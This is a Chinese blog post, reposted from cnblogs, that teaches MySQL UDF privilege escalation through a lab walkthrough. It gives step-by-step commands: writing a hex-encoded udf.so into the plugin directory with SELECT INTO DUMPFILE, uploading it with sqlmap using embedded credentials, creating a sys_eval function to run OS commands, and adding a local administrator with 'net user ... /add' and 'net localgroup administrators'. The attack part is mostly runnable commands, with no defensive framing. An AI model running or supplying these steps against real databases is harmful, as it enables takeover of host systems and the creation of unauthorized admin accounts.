ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

Mysql UDF提权方法

2022-02-05 13:02:44  阅读:247  来源: 互联网

标签:lib Mysql dll 提权 udf mysql UDF select


Mysql UDF提权方法 

 

0x01 UDF#

UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。

0x02 windows下udf提权的条件#

  • 如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下/
  • 如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
  • 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
  • 拥有可以将udf.dll写入相应目录的权限。

0x03 提权方法#

如果是mysql5.1及以上版本,必须要把udf.dll文件放到mysql安装目录的lib\plugin文件夹下才能创建自定义函数。该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录。


在sqlmap中可以导入udf


复制到新建目录

Copy
create function sys_eval returns string soname "lib_mysqludf_sys.dll"; --引用共享库文件创建存储过程


成功执行命令,可以看到当前权限为administrator

删除该函数

参考
https://www.cnblogs.com/sijidou/p/10522972.html
https://www.jianshu.com/p/5b34c1b6dee7
https://blog.csdn.net/qq_26090065/article/details/81515355

 

注意:

把dll文件放入到特定的“文件夹”下方式有很多种:

方式a.如何你有webshell或有能操作文件的任何方式(比如远程登录),直接把dll文件放入特定文件夹下。文件名可以自定义,比如我喜欢命名为“udf.dll”。比如用“菜刀”操作文件

 

 

udf.dll文件下载链接:

方式b.也可以使用sql语句导入(写)一个dll文件。(只有sql语句执行权限最适合用此方法),下面的文章就是使用了此方法!

 

mysql udf提权实战测试

 

根据前天对大牛们的资料学习,进行一次mysql udf提权测试。

测试环境:

受害者系统:centos 7.7 ,docker部署mysql5.6.46, IP:192.168.226.128

攻击者系统:centos7.7,安装mysq client 5.7,IP:192.168.226.129

攻击者连接至mysql后,使用SQL语句检查相关的路径及权限

show variables like "%plugin%";

show variables like "%secure_file%";

 


攻击者系统

刚安装好的mysql时,secure_file_priv是有一个指定路径,而且并不在/usr/lib/mysql/下,则无法写入udf文件。手动在受害者所在系统/etc/mysql/mysql.conf.d/mysqld.conf中修改,若不存在secure_file_priv,则添加secure_file_priv=

 


受攻击系统的mysqld.conf

提权测试:

将udf十六进制导入查检目录中,先设置udf变量

mysql> set @a=unhex('udf十六进制编码,详见下文');

mysql> select @a into dumpfile '/usr/lib/mysql/plugin/udf.so';

 


上传插件

*************也可以使用sqlmap进行上传so文件:

python sqlmap.py -d "mysql://root:test1234@@192.168.226.128:3306/mysql" --file-write="C:\Users\username\AppData\Local\Programs\Python\Python37\sqlmap-master\data\udf\mysql\linux\64\lib_mysqludf_sys.so_" --file-dest="/usr/lib/mysql/plugin/udf.so"

引用方法,成功执行系统命令:

mysql> select * from func;

mysql> create function sys_eval returns string soname 'udf.so';

mysql> select sys_eval('whoami');

 


命令执行成功-whami

<进一步的权限提升及持久化,需要继续学习研究>

==》要使用net user add 才可以最终提权!!!如下:

 

3.使用自定义的函数。

我们可以使用如下命令来执行系统命令

select sys_eval('系统命令');

例如我们执行如下命令:

select sys_eval('net user admin admin /add');

就会发现新建了一个用户-admin

 

 

有些人对于UDF提权有一些错误的认知。认为UDF提权只是影响windows和mysql。但UDF(用户自定义函数)不仅仅是影响着Windows系统,也影响Linux系统。不仅仅影响Mysql,也影响Postgrepsql。

=============================

    9.通过cmd function进行提权。

        命令:

            select cmdshell('net user x x /add');

            select cmdshell('net localgroup administrators x /add');

 

 

 

 

 

    10.远程到主机

 

 

 

 

 

11.查看管理员组

 

 

 

标签:lib,Mysql,dll,提权,udf,mysql,UDF,select
来源: https://www.cnblogs.com/bonelee/p/15864090.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有